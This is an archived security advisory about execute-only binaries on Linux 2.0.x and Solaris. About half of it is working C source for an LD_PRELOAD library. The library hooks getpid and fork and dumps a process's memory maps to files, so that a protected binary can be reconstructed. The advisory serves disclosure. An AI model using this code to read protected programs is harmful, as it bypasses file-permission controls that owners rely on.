COMMAND

    kernel

SYSTEMS AFFECTED

    Linux 2.0.x, Solaris 2.x

PROBLEM

    David  Luyer  found   following.   The   following  file  can   be
    LD_PRELOAD'ed  against  a  mode  111  (--x--x--x)  binary on Linux
    2.0.x.  It  will dump the  binary to a  series of process-dump-...
    files in  the current  directory.   The executable  itself can  be
    recovered by catting the  first few files together  and truncating
    at the executable size.  This was tested by reconstructing a  copy
    of /bin/cat which was protected mode 111 under Linux 2.0.x (tested
    up to  2.0.35 and  ld.so 2.0.7).   YOU CAN  ONLY DO  THIS FOR  NON
    SETUID APPLICATIONS.  Execute  only is an extremely  vague concept
    anyway on x86 since the chip doesnt really support it physically.

    Solaris has the same "problem" and it's hard to say is it a bug or
    not.   Also,  filesystems  like  NFS  make  no distinction between
    read-for-execute  or  read-for-reading.   Solaris  /proc disallows
    access  to  execute  only  binaries,  but  its LD_PRELOAD and also
    LD_LIBRARY_PATH have the exact  same problem.  LD_LIBRARY_PATH  is
    somewhat trickier to abuse as  it requires you to build  an entire
    library and not  just an object  with a few  replacement function,
    although you might get very far by just using a .init section  and
    little substance.


    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>

    static char * filename = "process-dump-%04x-%08lx:%08lx";
    static int ___mypid = 0;

    void ___dump_memory() {
    FILE *f, *maps;
    char str[80], c, *fname;
    unsigned long fr, to;

      maps = fopen("/proc/self/maps", "r");
      while (fgets(str, 80, maps) != NULL) {
        if(sscanf(str, "%8lx-%8lx %c", &fr, &to, &c) != 3) {
          fprintf(stderr, "bad /proc/maps line: %s\n", str);
          continue;
        }
        if(c != 'r') {
          fprintf(stderr, "non-readable map: %08lx to %08lx\n", fr, to);
          continue;
        }
        if((to - fr) % 4096) {
          fprintf(stderr, "warning: non-4k-blocked map: %08lx to %08lx\n", fr, to);
        }
        fname = malloc(strlen(filename) + 9);
        sprintf(fname, filename, ___mypid, fr, to);
        unlink(fname);
        f = fopen(fname, "w");
        fwrite((void *)fr, (to - fr)/4096, 4096, f);
        fclose(f);
      }
      fclose(maps);
    }

    int getpid() {
     /* override getpid() since this is called in most process startup */
     if(!___mypid) {
        ___mypid = __getpid();
        ___dump_memory();
     }
     return ___mypid;
    }

    int fork() {
      /* make sure getpid() returns correct value after fork() */
      int i;

      if((i = __fork()) && i != -1)
        ___mypid = i;
      return i;
    }

    int clone() {
      /* I couldn't be bothered... */
      fputs("sorry this preload does not support clone()\n", stderr);
      return -1;
    }

SOLUTION

    This problem was noticed after  Andreas Kies pointed out that  you
    can strace  a mode  111 (--x--x--x)  binary on  Linux 2.0.x.   His
    patch for that problem can be found in the linux-kernel archives.